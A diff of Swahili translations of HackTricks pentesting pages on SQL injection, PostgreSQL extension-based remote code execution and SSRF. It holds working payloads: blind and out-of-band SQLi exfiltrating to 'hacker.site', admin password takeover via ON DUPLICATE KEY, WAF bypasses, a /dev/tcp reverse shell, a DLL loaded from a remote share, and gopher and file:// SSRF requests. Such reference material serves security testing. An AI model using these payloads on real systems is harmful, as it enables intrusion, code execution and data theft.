Hii ni **hali ile ile kama hapo awali** lakini badala ya kutofautisha kati ya jibu la kweli/uwongo kutoka kwa ombi unaweza **kutofautisha kati ya** **makosa** katika ombi la SQL au la (labda kwa sababu seva ya HTTP inashindwa). Hivyo, katika kesi hii unaweza kulazimisha makosa ya SQL kila wakati unapotabiri kwa usahihi herufi:
|
||||
Hii ni **hali ile ile kama hapo awali** lakini badala ya kutofautisha kati ya jibu sahihi/kosa kutoka kwa ombi unaweza **kutofautisha kati ya** **kosa** katika ombi la SQL au la (labda kwa sababu seva ya HTTP inashindwa). Hivyo, katika kesi hii unaweza kulazimisha SQLerror kila wakati unapotabiri kwa usahihi herufi:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Kutumia SQLi Inayotegemea Wakati
|
||||
|
||||
Katika kesi hii **hakuna** njia ya **kutofautisha** **jibu** la ombi kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa **uchukue muda mrefu kupakia** ikiwa herufi iliyokisiwa ni sahihi. Tayari tumeona mbinu hii ikitumika hapo awali ili [kuhakikisha udhaifu wa SQLi](./#confirming-with-timing).
|
||||
Katika kesi hii **hakuna** njia ya **kutofautisha** **jibu** la ombi kulingana na muktadha wa ukurasa. Lakini, unaweza kufanya ukurasa **uchukue muda mrefu kupakia** ikiwa herufi iliyokisiwa ni sahihi. Tayari tumeshuhudia mbinu hii ikitumika hapo awali ili [kuhakikisha udhaifu wa SQLi](./#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Unaweza kutumia stacked queries ili **kutekeleza maswali mengi kwa mfululizo**. Kumbuka kwamba wakati maswali yanayofuata yanatekelezwa, **matokeo** hayarudishwi kwa programu. Hivyo basi, mbinu hii inatumika hasa kuhusiana na **vulnerabilities za kipofu** ambapo unaweza kutumia swali la pili kuanzisha utafutaji wa DNS, kosa la masharti, au kuchelewesha muda.
|
||||
Unaweza kutumia stacked queries ili **kutekeleza maswali mengi kwa mfululizo**. Kumbuka kwamba wakati maswali yanayofuata yanatekelezwa, **matokeo** hayarejeshwi kwa programu. Hivyo, mbinu hii inatumika hasa kuhusiana na **vulnerabilities za kipofu** ambapo unaweza kutumia swali la pili kuanzisha utafutaji wa DNS, kosa la masharti, au kuchelewesha muda.
|
||||
|
||||
**Oracle** haisaidii **stacked queries.** **MySQL, Microsoft** na **PostgreSQL** zinaziunga mkono: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database** iwasilishe taarifa kwa **mwenyeji wa nje** anayedhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
|
||||
Ikiwa **hakuna njia nyingine** ya unyakuzi **iliyofanya kazi**, unaweza kujaribu kufanya **database** ihamasishwe kupeleka taarifa kwa **mwenyeji wa nje** anayedhibitiwa na wewe. Kwa mfano, kupitia maswali ya DNS:
|
||||
```sql
|
||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||
```
|
||||
@ -282,9 +283,9 @@ Unapaswa kutumia kama jina la mtumiaji kila mstari wa orodha na kama nywila daim
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
|
||||
### GBK Uhakikisho wa Kupita
|
||||
### GBK Authentication Bypass
|
||||
|
||||
KAMA ' inasafishwa unaweza kutumia %A8%27, na wakati ' inasafishwa itaundwa: 0xA80x5c0x27 (_╘'_)
|
||||
KAMA ' inakabiliwa unaweza kutumia %A8%27, na wakati ' inakabiliwa itaundwa: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -317,13 +318,13 @@ Ili kufanya hivyo unapaswa kujaribu **kuunda kitu kipya kinachoitwa "kitu mkuu"*
|
||||
|
||||
Ikiwa hifadhidata ina udhaifu na idadi ya juu ya herufi kwa jina la mtumiaji ni kwa mfano 30 na unataka kujifanya kuwa mtumiaji **admin**, jaribu kuunda jina la mtumiaji linaloitwa: "_admin \[nafasi 30] a_" na nenosiri lolote.
|
||||
|
||||
Hifadhidata it **hakiki** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya hifadhidata. Ikiwa **siyo**, it **kata** **jina la mtumiaji** hadi **idadi ya juu ya herufi** (katika kesi hii hadi: "_admin \[nafasi 25]_") na kisha it **ondoa kiotomatiki nafasi zote mwishoni ikisasisha** ndani ya hifadhidata mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kuwa hii haijafanya kazi).
|
||||
Hifadhidata itafanya **ukaguzi** ikiwa **jina la mtumiaji** lililoingizwa **lipo** ndani ya hifadhidata. Ikiwa **siyo**, itakata **jina la mtumiaji** hadi **idadi ya juu ya herufi inayoruhusiwa** (katika kesi hii hadi: "_admin \[nafasi 25]_") na kisha it **ondoa moja kwa moja nafasi zote mwishoni ikisasisha** ndani ya hifadhidata mtumiaji "**admin**" kwa **nenosiri jipya** (kosa fulani linaweza kuonekana lakini haimaanishi kwamba hii haijafanya kazi).
|
||||
|
||||
Maelezo zaidi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Kumbuka: Shambulio hili halitafanya kazi tena kama ilivyoelezwa hapo juu katika usakinishaji wa hivi karibuni wa MySQL. Ingawa kulinganisha bado kunapuuzilia mbali nafasi za mwisho kwa chaguo-msingi, kujaribu kuingiza mfuatano mrefu zaidi ya urefu wa uwanja kutasababisha kosa, na kuingiza kutashindwa. Kwa maelezo zaidi kuhusu hii angalia:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Kumbuka: Shambulio hili halitafanya kazi kama ilivyoelezwa hapo juu katika usakinishaji wa hivi karibuni wa MySQL. Ingawa kulinganisha bado kunapuuzilia mbali nafasi za mwisho kwa chaguo-msingi, kujaribu kuingiza mfuatano mrefu zaidi ya urefu wa uwanja kutasababisha kosa, na kuingiza kutashindwa. Kwa maelezo zaidi kuhusu ukaguzi huu:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Ingiza ukaguzi wa muda
|
||||
### MySQL Wakati wa kuingiza ukaguzi wa msingi
|
||||
|
||||
Ongeza `','',''` kadri unavyofikiri ili kutoka kwenye taarifa za VALUES. Ikiwa kuchelewesha kutelezwa, una SQLInjection.
|
||||
```sql
|
||||
@ -331,11 +332,11 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Kifungu cha `ON DUPLICATE KEY UPDATE` katika MySQL kinatumika kufafanua hatua ambazo hifadhidata inapaswa kuchukua wakati jaribio linafanywa kuingiza safu ambayo itasababisha thamani ya nakala katika index ya UNIQUE au KEY YA KUU. Mfano ufuatao unaonyesha jinsi kipengele hiki kinavyoweza kutumika kubadilisha nywila ya akaunti ya msimamizi:
|
||||
The `ON DUPLICATE KEY UPDATE` clause in MySQL inatumika kufafanua hatua za kuchukuliwa na database wakati jaribio linafanywa kuingiza safu ambayo itasababisha thamani ya duplicate katika index ya UNIQUE au PRIMARY KEY. Mfano ufuatao unaonyesha jinsi kipengele hiki kinaweza kutumika kubadilisha nenosiri la akaunti ya msimamizi:
|
||||
|
||||
Mfano wa Payload Injection:
|
||||
|
||||
Payload ya kuingiza inaweza kuandaliwa kama ifuatavyo, ambapo safu mbili zinajaribu kuingizwa kwenye jedwali la `users`. Safu ya kwanza ni ya kudanganya, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa nia ya kubadilisha nywila:
|
||||
Payload ya kuingiza inaweza kuandaliwa kama ifuatavyo, ambapo safu mbili zinajaribiwa kuingizwa kwenye jedwali la `users`. Safu ya kwanza ni ya kudanganya, na safu ya pili inalenga barua pepe ya msimamizi aliyepo kwa nia ya kubadilisha nenosiri:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
@ -358,7 +359,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
|
||||
```
|
||||
#### Kutumia desimali au hexadecimal
|
||||
|
||||
Kwa mbinu hii unaweza kutoa taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutambua kwamba huwezi kutoa maoni yoyote.
|
||||
Kwa mbinu hii unaweza kutoa taarifa kwa kuunda akaunti 1 tu. Ni muhimu kutambua kwamba huwezi kuandika chochote.
|
||||
|
||||
Kutumia **hex2dec** na **substr**:
|
||||
```sql
|
||||
@ -411,7 +412,7 @@ No Whitespace - bypass kutumia mabano
|
||||
```
|
||||
### Hakuna kukatiza bypass
|
||||
|
||||
Hakuna Kukatiza - bypass kutumia OFFSET, FROM na JOIN
|
||||
Hakuna Comma - bypass kutumia OFFSET, FROM na JOIN
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
@ -425,7 +426,7 @@ Blacklisting kwa kutumia maneno muhimu - bypass kwa kutumia herufi kubwa/ndogo
|
||||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Blacklist kutumia maneno muhimu bila kujali herufi - pitia kwa kutumia opereta sawa
|
||||
Blacklist kutumia maneno muhimu yasiyo na tofauti - pitisha kwa kutumia opereta sawa
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
@ -460,7 +461,9 @@ Hii hila ilichukuliwa kutoka [https://secgroup.github.io/2017/01/03/33c3ctf-writ
|
||||
|
||||
### Zana za kupendekeza WAF bypass
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Miongozo Mingine
|
||||
|
||||
@ -469,7 +472,9 @@ Hii hila ilichukuliwa kutoka [https://secgroup.github.io/2017/01/03/33c3ctf-writ
|
||||
|
||||
## Orodha ya Ugunduzi wa Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## PostgreSQL Extensions
|
||||
|
||||
PostgreSQL imeandaliwa kwa kuwa na uwezo wa kupanuka kama kipengele cha msingi, ikiruhusu kuunganishwa kwa nyongeza kama vile zilivyojengwa ndani. Nyongeza hizi, kimsingi maktaba yaliyoandikwa kwa C, zinaongeza uwezo wa hifadhidata kwa kazi, waendeshaji, au aina za ziada.
|
||||
PostgreSQL imeandaliwa kwa kuzingatia upanuzi kama kipengele cha msingi, ikiruhusu kuunganishwa kwa upanuzi kama vile ni kazi zilizojengwa ndani. Upanuzi hawa, kimsingi maktaba yaliyoandikwa kwa C, yanapanua hifadhidata kwa kazi, waendeshaji, au aina za ziada.
|
||||
|
||||
Kuanzia toleo la 8.1 na kuendelea, hitaji maalum linatolewa kwa maktaba za nyongeza: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa nyongeza zinazofaa na zinazoweza kuwa salama pekee ndizo zinazotumika.
|
||||
Kuanzia toleo la 8.1 na kuendelea, hitaji maalum linatolewa kwa maktaba za upanuzi: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa ni upanuzi unaofaa na pengine salama pekee ndio unatumika.
|
||||
|
||||
Pia, kumbuka kwamba **ikiwa hujui jinsi ya** [**kupakia faili kwa mwathirika kwa kutumia PostgreSQL unapaswa kusoma chapisho hili.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
@ -68,7 +68,7 @@ $$ LANGUAGE 'plpgsql';
|
||||
```
|
||||
</details>
|
||||
|
||||
Hata ilipokuwa ikijaribiwa kwenye toleo kubwa **kosa lifuatalo lilionekana**:
|
||||
Hata, wakati ilijaribiwa kwenye toleo kubwa **makosa yafuatayo yalionekana**:
|
||||
```c
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
@ -81,7 +81,7 @@ Kosa hili linaelezwa katika [PostgreSQL documentation](https://www.postgresql.or
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
Tangu toleo la PostgreSQL 8.2, mchakato wa mshambuliaji kutumia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika ama kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba maalum. Maktaba hii maalum inapaswa kuandikwa dhidi ya toleo kuu linalofaa la PostgreSQL na inapaswa kujumuisha "block ya kichawi" maalum. Hatua hii inaongeza kwa kiasi kikubwa ugumu wa kutumia mifumo ya PostgreSQL, kwani inahitaji uelewa wa kina wa usanifu wa mfumo na ulinganifu wa toleo.
|
||||
Kuanzia toleo la PostgreSQL 8.2, mchakato wa mshambuliaji kutumia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika ama kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba maalum. Maktaba hii maalum inapaswa kuandikwa dhidi ya toleo kuu linalofaa la PostgreSQL na inapaswa kujumuisha "block ya kichawi" maalum. Hatua hii inaongeza kwa kiasi kikubwa ugumu wa kutumia mifumo ya PostgreSQL, kwani inahitaji uelewa wa kina wa usanifu wa mfumo na ulinganifu wa toleo.
|
||||
|
||||
#### Jenga maktaba
|
||||
|
||||
@ -90,7 +90,7 @@ Pata toleo la PsotgreSQL kwa:
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Kwa ufanisi, ni muhimu kwamba toleo kuu liendane. Hivyo basi, kukusanya maktaba na toleo lolote ndani ya safu ya 9.6.x kunapaswa kuhakikisha uunganisho wa mafanikio.
|
||||
Kwa ufanisi, ni muhimu kwamba toleo kuu liendane. Hivyo basi, kukusanya maktaba na toleo lolote ndani ya mfululizo wa 9.6.x kunapaswa kuhakikisha uunganisho wa mafanikio.
|
||||
|
||||
Ili kufunga toleo hilo katika mfumo wako:
|
||||
```bash
|
||||
@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
```
|
||||
Unaweza kupata hii **maktaba iliyotayarishwa** kwa toleo tofauti za PostgreSQL na hata unaweza **kujiendesha mchakato huu** (ikiwa una ufikiaji wa PostgreSQL) kwa:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
{{#endref}}
|
||||
|
||||
### RCE katika Windows
|
||||
|
||||
@ -250,7 +252,7 @@ int32 arg = PG_GETARG_INT32(0);
|
||||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
Kumbuka jinsi katika kesi hii **kodikali iko ndani ya kazi ya DllMain**. Hii inamaanisha kwamba katika kesi hii si lazima kutekeleza kazi iliyopakiwa katika postgresql, tu **kupakia DLL** kutatekeleza **reverse shell**:
|
||||
Kumbuka jinsi katika kesi hii **kode mbaya iko ndani ya kazi ya DllMain**. Hii inamaanisha kwamba katika kesi hii si lazima kutekeleza kazi iliyopakiwa katika postgresql, tu **kupakia DLL** kutatekeleza **reverse shell**:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
@ -258,11 +260,11 @@ Mradi wa [PolyUDF](https://github.com/rop-la/PolyUDF) pia ni mahali pazuri pa ku
|
||||
|
||||
### RCE katika toleo jipya la Prostgres
|
||||
|
||||
Katika **matoleo ya hivi karibuni** ya PostgreSQL, vizuizi vimewekwa ambapo `superuser` **amepigwa marufuku** **kuchaji** faili za maktaba za pamoja isipokuwa kutoka kwenye directories maalum, kama `C:\Program Files\PostgreSQL\11\lib` kwenye Windows au `/var/lib/postgresql/11/lib` kwenye mifumo ya \*nix. Hizi directories zime **lindwa** dhidi ya operesheni za kuandika kwa akaunti za NETWORK_SERVICE au postgres.
|
||||
Katika **matoleo ya hivi karibuni** ya PostgreSQL, vizuizi vimewekwa ambapo `superuser` **amepigwa marufuku** **kuchaji** faili za maktaba za pamoja isipokuwa kutoka kwenye directories maalum, kama vile `C:\Program Files\PostgreSQL\11\lib` kwenye Windows au `/var/lib/postgresql/11/lib` kwenye mifumo ya \*nix. Hizi directories zime **lindwa** dhidi ya operesheni za kuandika na ama akaunti za NETWORK_SERVICE au postgres.
|
||||
|
||||
Licha ya vizuizi hivi, inawezekana kwa `superuser` wa database aliyeidhinishwa **kuandika faili za binary** kwenye mfumo wa faili kwa kutumia "vitu vikubwa." Uwezo huu unapanuka hadi kuandika ndani ya directory ya `C:\Program Files\PostgreSQL\11\data`, ambayo ni muhimu kwa operesheni za database kama vile kusasisha au kuunda meza.
|
||||
Licha ya vizuizi hivi, inawezekana kwa `superuser` wa database aliyeidhinishwa **kuandika faili za binary** kwenye mfumo wa faili kwa kutumia "vitu vikubwa." Uwezo huu unapanuka hadi kuandika ndani ya directory ya `C:\Program Files\PostgreSQL\11\data`, ambayo ni muhimu kwa operesheni za database kama vile kuboresha au kuunda meza.
|
||||
|
||||
Ukiukaji mkubwa unatokana na amri ya `CREATE FUNCTION`, ambayo **inaruhusu kupita kwenye directory** ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza **kutumia kupita hapa** kuandika faili la maktaba ya pamoja kwenye directory ya data na kisha **kuchaji**. Ukatili huu unamwezesha mshambuliaji kutekeleza msimbo wowote, akipata utekelezaji wa msimbo wa asili kwenye mfumo.
|
||||
Ukatili mkubwa unatokana na amri ya `CREATE FUNCTION`, ambayo **inaruhusu kupita kwenye directory** ndani ya directory ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza **kutumia kupita hapa** kuandika faili la maktaba ya pamoja ndani ya directory ya data na kisha **kuchaji**. Ukatili huu unamwezesha mshambuliaji kutekeleza msimbo wowote, akipata utekelezaji wa msimbo wa asili kwenye mfumo.
|
||||
|
||||
#### Mchakato wa shambulio
|
||||
|
||||
@ -319,7 +321,7 @@ print("(+) for a db cleanup only, run the following sql:")
|
||||
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||||
print(" drop function connect_back(text, integer);")
|
||||
```
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||||
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Taarifa za Msingi
|
||||
|
||||
Ukiwa na **Server-side Request Forgery (SSRF)**, udhaifu hutokea wakati mshambuliaji anaposhawishi **programu ya upande wa seva** kufanya **maombi ya HTTP** kwa kikoa chochote anachokichagua. Udhaifu huu unafichua seva kwa maombi ya nje yasiyo na mipaka yanayoelekezwa na mshambuliaji.
|
||||
Ukiukaji wa **Server-side Request Forgery (SSRF)** hutokea wakati mshambuliaji anaposhawishi **programu ya upande wa seva** kufanya **maombi ya HTTP** kwa kikoa chochote anachochagua. Ukiukaji huu unafichua seva kwa maombi ya nje yasiyo na mipaka yanayoelekezwa na mshambuliaji.
|
||||
|
||||
## Capture SSRF
|
||||
## K capture SSRF
|
||||
|
||||
Jambo la kwanza unahitaji kufanya ni kukamata mwingiliano wa SSRF ulioanzishwa na wewe. Ili kukamata mwingiliano wa HTTP au DNS unaweza kutumia zana kama:
|
||||
|
||||
@ -20,33 +20,33 @@ Jambo la kwanza unahitaji kufanya ni kukamata mwingiliano wa SSRF ulioanzishwa n
|
||||
- [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
|
||||
- [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Burp Collaborator inayotumia ngrok
|
||||
|
||||
## Whitelisted Domains Bypass
|
||||
## Kupita kwenye Majina ya Kikoa yaliyoruhusiwa
|
||||
|
||||
Kwa kawaida utagundua kuwa SSRF inafanya kazi tu katika **kikoa fulani kilichoorodheshwa** au URL. Katika ukurasa ufuatao una **mkusanyiko wa mbinu za kujaribu kupita orodha hiyo**:
|
||||
Kwa kawaida utaona kuwa SSRF inafanya kazi tu katika **majina ya kikoa yaliyoruhusiwa** au URL fulani. Katika ukurasa ufuatao una **mkusanyiko wa mbinu za kujaribu kupita orodha hiyo**:
|
||||
|
||||
{{#ref}}
|
||||
url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Bypass via open redirect
|
||||
### Kupita kupitia uelekeo wazi
|
||||
|
||||
Ikiwa seva imekingwa ipasavyo unaweza **kupita vizuizi vyote kwa kutumia Open Redirect ndani ya ukurasa wa wavuti**. Kwa sababu ukurasa wa wavuti utaruhusu **SSRF kwa kikoa hicho hicho** na labda uta **fuata mwelekeo**, unaweza kutumia **Open Redirect kufanya seva kufikia rasilimali za ndani**.\
|
||||
Ikiwa seva imekingwa ipasavyo unaweza **kupita vizuizi vyote kwa kutumia Uelekeo Wazi ndani ya ukurasa wa wavuti**. Kwa sababu ukurasa wa wavuti utaruhusu **SSRF kwa kikoa hicho hicho** na labda uta **fuata uelekeo**, unaweza kutumia **Uelekeo Wazi kufanya seva kufikia rasilimali za ndani**.\
|
||||
Soma zaidi hapa: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||||
|
||||
## Protocols
|
||||
## Protokali
|
||||
|
||||
- **file://**
|
||||
- Mpango wa URL `file://` unarejelea, ukielekeza moja kwa moja kwa `/etc/passwd`: `file:///etc/passwd`
|
||||
- **dict://**
|
||||
- Mpango wa URL wa DICT unafafanuliwa kama unavyotumika kwa kufikia maelezo au orodha za maneno kupitia itifaki ya DICT. Mfano uliopewa unaonyesha URL iliyojengwa ikilenga neno maalum, hifadhidata, na nambari ya kuingia, pamoja na mfano wa skripti ya PHP inayoweza kutumika vibaya kuungana na seva ya DICT kwa kutumia akidi zinazotolewa na mshambuliaji: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- Mpango wa URL wa DICT unafafanuliwa kama unavyotumika kwa kufikia maelezo au orodha za maneno kupitia protokali ya DICT. Mfano uliopewa unaonyesha URL iliyojengwa ikilenga neno maalum, hifadhidata, na nambari ya kuingia, pamoja na mfano wa skripti ya PHP inayoweza kutumika vibaya kuungana na seva ya DICT kwa kutumia akidi zinazotolewa na mshambuliaji: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
|
||||
- **SFTP://**
|
||||
- Imejulikana kama itifaki ya uhamishaji wa faili salama kupitia shell salama, mfano unapatikana ukionyesha jinsi skripti ya PHP inaweza kutumika vibaya kuungana na seva ya SFTP mbaya: `url=sftp://generic.com:11111/`
|
||||
- Imeainishwa kama protokali ya usafirishaji salama wa faili kupitia shell salama, mfano unapatikana ukionyesha jinsi skripti ya PHP inaweza kutumika vibaya kuungana na seva ya SFTP mbaya: `url=sftp://generic.com:11111/`
|
||||
- **TFTP://**
|
||||
- Itifaki ya Uhamishaji wa Faili Rahisi, inayofanya kazi kupitia UDP, inatajwa na mfano wa skripti ya PHP iliyoundwa kutuma ombi kwa seva ya TFTP. Ombi la TFTP linafanywa kwa 'generic.com' kwenye bandari '12346' kwa faili 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- Protokali ya Usafirishaji wa Faili Rahisi, ikifanya kazi juu ya UDP, inatajwa na mfano wa skripti ya PHP iliyoundwa kutuma ombi kwa seva ya TFTP. Ombi la TFTP linafanywa kwa 'generic.com' kwenye bandari '12346' kwa faili 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- **LDAP://**
|
||||
- Sehemu hii inashughulikia Itifaki ya Upatikanaji wa Katalogi Nyepesi, ikisisitiza matumizi yake katika kusimamia na kufikia huduma za habari za katalogi zilizogawanywa kupitia mitandao ya IP. Shughulika na seva ya LDAP kwenye localhost: `'%0astats%0aquit' kupitia ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
- Sehemu hii inashughulikia Protokali ya Upatikanaji wa Katalogi Nyepesi, ikisisitiza matumizi yake katika kusimamia na kufikia huduma za habari za katalogi zilizogawanywa kupitia mitandao ya IP. Shirikiana na seva ya LDAP kwenye localhost: `'%0astats%0aquit' kupitia ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
- **SMTP**
|
||||
- Njia inaelezewa kwa kutumia udhaifu wa SSRF kuingiliana na huduma za SMTP kwenye localhost, ikiwa ni pamoja na hatua za kufichua majina ya kikoa cha ndani na hatua za uchunguzi zaidi kulingana na habari hiyo.
|
||||
- Njia inaelezewa kwa kutumia ukiukaji wa SSRF kuingiliana na huduma za SMTP kwenye localhost, ikiwa ni pamoja na hatua za kufichua majina ya kikoa ya ndani na hatua za uchunguzi zaidi kulingana na habari hiyo.
|
||||
```
|
||||
From https://twitter.com/har1sec/status/1182255952055164929
|
||||
1. connect with SSRF on smtp localhost:25
|
||||
@ -60,11 +60,11 @@ From https://twitter.com/har1sec/status/1182255952055164929
|
||||
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
|
||||
```
|
||||
- **Gopher://**
|
||||
- Uwezo wa itifaki ya Gopher wa kubaini IP, bandari, na bytes kwa mawasiliano ya seva unajadiliwa, pamoja na zana kama Gopherus na remote-method-guesser kwa ajili ya kutunga payloads. Matumizi mawili tofauti yanaonyeshwa:
|
||||
- Uwezo wa itifaki ya Gopher wa kubainisha IP, bandari, na bytes kwa mawasiliano ya seva unajadiliwa, pamoja na zana kama Gopherus na remote-method-guesser kwa ajili ya kutunga payloads. Matumizi mawili tofauti yanaonyeshwa:
|
||||
|
||||
### Gopher://
|
||||
|
||||
Kwa kutumia itifaki hii unaweza kubaini **IP, bandari na bytes** unazotaka seva **itume**. Kisha, unaweza kimsingi kutumia SSRF ili **kuwasiliana na seva yoyote ya TCP** (lakini unahitaji kujua jinsi ya kuzungumza na huduma hiyo kwanza).\
|
||||
Kwa kutumia itifaki hii unaweza kubainisha **IP, bandari na bytes** unazotaka seva **itume**. Kisha, unaweza kimsingi kutumia SSRF ili **kuwasiliana na seva yoyote ya TCP** (lakini unahitaji kujua jinsi ya kuzungumza na huduma hiyo kwanza).\
|
||||
Kwa bahati nzuri, unaweza kutumia [Gopherus](https://github.com/tarunkant/Gopherus) kutunga payloads kwa huduma kadhaa. Zaidi ya hayo, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) inaweza kutumika kutunga _gopher_ payloads kwa huduma za _Java RMI_.
|
||||
|
||||
**Gopher smtp**
|
||||
@ -106,11 +106,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
```
|
||||
## SSRF kupitia kichwa cha Referrer & Mengineyo
|
||||
|
||||
Programu za uchambuzi kwenye seva mara nyingi huandika kichwa cha Referrer ili kufuatilia viungo vinavyoingia, tabia ambayo kwa bahati mbaya inafichua programu kwa udhaifu wa Server-Side Request Forgery (SSRF). Hii ni kwa sababu programu hizo zinaweza kutembelea URL za nje zilizotajwa katika kichwa cha Referrer ili kuchambua maudhui ya tovuti za rejeleo. Ili kugundua udhaifu hizi, nyongeza ya Burp Suite "**Collaborator Everywhere**" inapendekezwa, ikitumia njia ambavyo zana za uchambuzi zinavyoshughulikia kichwa cha Referer ili kubaini maeneo yanayoweza kushambuliwa kwa SSRF.
|
||||
Programu za uchanganuzi kwenye seva mara nyingi huandika kichwa cha Referrer ili kufuatilia viungo vinavyoingia, tabia ambayo kwa bahati mbaya inafichua programu kwa udhaifu wa Server-Side Request Forgery (SSRF). Hii ni kwa sababu programu hizo zinaweza kutembelea URL za nje zilizotajwa katika kichwa cha Referrer ili kuchambua maudhui ya tovuti za rejeleo. Ili kugundua udhaifu hizi, nyongeza ya Burp Suite "**Collaborator Everywhere**" inapendekezwa, ikitumia njia ambavyo zana za uchanganuzi zinavyoshughulikia kichwa cha Referer ili kubaini maeneo yanayoweza kushambuliwa kwa SSRF.
|
||||
|
||||
